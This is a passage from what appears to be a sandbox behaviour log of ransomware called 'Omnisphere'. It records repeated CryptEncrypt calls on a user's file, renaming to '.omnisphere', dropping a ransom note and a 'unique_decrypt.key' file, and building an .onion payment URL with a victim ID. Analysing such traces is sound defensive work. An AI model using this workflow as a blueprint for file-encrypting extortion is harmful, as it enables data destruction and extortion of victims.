dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.744] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.745] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.746] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0093.755] CryptDestroyKey (hKey=0x1639568) returned 1 [0093.755] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0093.755] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x42132, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0093.755] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0093.756] GetProcessHeap () returned 0x1600000 [0093.756] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ae) returned 0x1685650 [0093.756] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl.omnisphere")) returned 1 [0093.757] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.omnisphere.id" [0093.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0093.757] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0093.758] CloseHandle (hObject=0x3c0) returned 1 [0093.759] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0093.761] CloseHandle (hObject=0x288) returned 1 [0093.761] SetEndOfFile (hFile=0x28c) returned 1 [0093.761] FlushFileBuffers (hFile=0x28c) returned 1 [0093.861] CloseHandle (hObject=0x28c) returned 1 [0093.861] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0093.861] GetProcessHeap () returned 0x1600000 [0093.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1685908 [0093.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0093.861] GetProcessHeap () returned 0x1600000 [0093.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f1c0 [0093.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f1c0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0093.861] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0093.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0093.861] GetProcessHeap () returned 0x1600000 [0093.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f450 [0093.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0093.861] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0093.861] GetProcessHeap () returned 0x1600000 [0093.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166af38 [0093.862] PathCombineW (in: pszDest=0x166af38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0093.862] GetProcessHeap () returned 0x1600000 [0093.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1683ba8 [0093.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0093.862] WriteFile (in: hFile=0x28c, lpBuffer=0x1683ba8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1683ba8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0093.862] CloseHandle (hObject=0x28c) returned 1 [0093.874] GetProcessHeap () returned 0x1600000 [0093.874] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1685908 | out: hHeap=0x1600000) returned 1 [0093.874] GetProcessHeap () returned 0x1600000 [0093.874] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1630ea0 [0093.874] PathCombineW (in: pszDest=0x1630ea0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0093.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0093.874] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0093.874] CloseHandle (hObject=0x28c) returned 1 [0093.875] GetProcessHeap () returned 0x1600000 [0093.875] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630ea0 | out: hHeap=0x1600000) returned 1 [0093.875] GetProcessHeap () returned 0x1600000 [0093.875] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656970 | out: hHeap=0x1600000) returned 1 [0093.875] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2bb4725, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x351ea, dwReserved0=0x0, dwReserved1=0xce, cFileName="ISO690Nmerical.XSL", cAlternateFileName="ISO690~1.XSL")) returned 1 [0093.875] GetProcessHeap () returned 0x1600000 [0093.875] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1630ea0 [0093.875] PathCombineW (in: pszDest=0x1630ea0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="ISO690Nmerical.XSL" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" [0093.875] StrStrW (lpFirst=".omnisphere", lpSrch=".XSL") returned 0x0 [0093.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0093.875] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=217578) returned 1 [0093.875] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x34cc6, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0093.875] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0094.002] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] GetTickCount () returned 0x1157a2e [0094.003] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, 